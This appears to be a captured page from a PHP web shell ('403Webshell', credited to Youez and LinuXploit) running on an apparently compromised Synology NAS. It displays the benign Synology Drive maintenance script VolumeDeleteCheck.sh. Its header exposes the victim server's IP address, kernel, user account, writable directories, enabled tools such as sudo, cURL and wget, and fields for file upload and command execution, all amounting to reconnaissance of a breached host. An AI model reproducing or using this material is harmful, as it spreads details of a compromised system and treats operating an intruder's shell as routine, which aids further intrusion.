403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.215
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/@appstore/SynologyDrive/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/@appstore/SynologyDrive/scripts/VolumeDeleteCheck.sh
#!/bin/sh
set -eu

. /var/packages/SynologyDrive/target/scripts/Common.sh
. /var/packages/SynologyDrive/scripts/pkg_utils

GET_KEY_VALUE="/usr/syno/bin/synogetkeyvalue"

PrintPkgNameAndRejectHook() {
    echo 'Synology Drive Server'
    exit 1
}

IsShareSyncConnecting() {
    local share_sync_path="$1"
    local db_path="${share_sync_path}/db/sys.sqlite"

    logger -p 3 "[VolumeDeleteCheck] Checking ShareSync connection in $db_path"

    if [ "$(sqlite3 "$db_path" "select count(*) from connection_table")" = "0" ]; then
        logger -p 3 "[VolumeDeleteCheck] No active connections found in ShareSync database"
        return 0
    fi

    if [ "$(sqlite3 "$db_path" "select count(*) from session_table")" = "0" ]; then
        logger -p 3 "[VolumeDeleteCheck] No active sessions found in ShareSync database"
        return 0
    fi

    logger -p 3 "[VolumeDeleteCheck] Active connections or sessions found in ShareSync database"
    return 1
}

RemoveShareSyncRepo() {
    local vol="$1"
    local repo_path="${vol}/@SynologyDriveShareSync"

    if [ -d "$repo_path" ]; then
        logger -p 3 "[VolumeDeleteCheck] Removing ShareSync repo at $repo_path"
        rm -rf "$repo_path"
    else
        logger -p 3 "[VolumeDeleteCheck] Repo path $repo_path does not exist, skipping removal"
    fi
}

UpdateShareSyncConf() {
    local SHARESYNC_VOL="$1"
    local DRIVE_VOL="$2"

    for conf_name in daemon.conf monitor.conf service.conf; do
        local conf="${SHARESYNC_CONF_LOCATION}/${conf_name}"
        if [ -f "$conf" ]; then
            logger -p 3 "[VolumeDeleteCheck] Updating $conf: replacing $SHARESYNC_VOL with $DRIVE_VOL"
            sed -i "s|${SHARESYNC_VOL}|${DRIVE_VOL}|g" "$conf"
        else
            logger -p 3 "[VolumeDeleteCheck] Config file $conf not found, skipping"
        fi
    done
}

VOL="$1"
$CSTN_FEASIBILITY_CHECK volume_delete_check "$VOL" || PrintPkgNameAndRejectHook

SHARESYNC_VOL="$(${GET_KEY_VALUE} "${SHARESYNC_CONF_FILE_PATH}" "${SHARESYNC_REPO_VOL_KEY}")"

if [ "$VOL" != "$SHARESYNC_VOL" ]; then
    exit 0
fi

repo_path="${SHARESYNC_VOL}/@SynologyDriveShareSync"
IsShareSyncConnecting "$repo_path"
if [ $? -eq 1 ]; then
    PrintPkgNameAndRejectHook
fi

"${SHARESYNC_PKG_BIN_PATH}/srvctl" --stop
RemoveShareSyncRepo "$SHARESYNC_VOL"
DRIVE_VOL="$(${GET_KEY_VALUE} "${CSTN_PKG_DB_PATH_FILE}" "db-vol")"
UpdateShareSyncConf "$SHARESYNC_VOL" "$DRIVE_VOL"
"${SHARESYNC_PKG_BIN_PATH}/srvctl" --start

exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit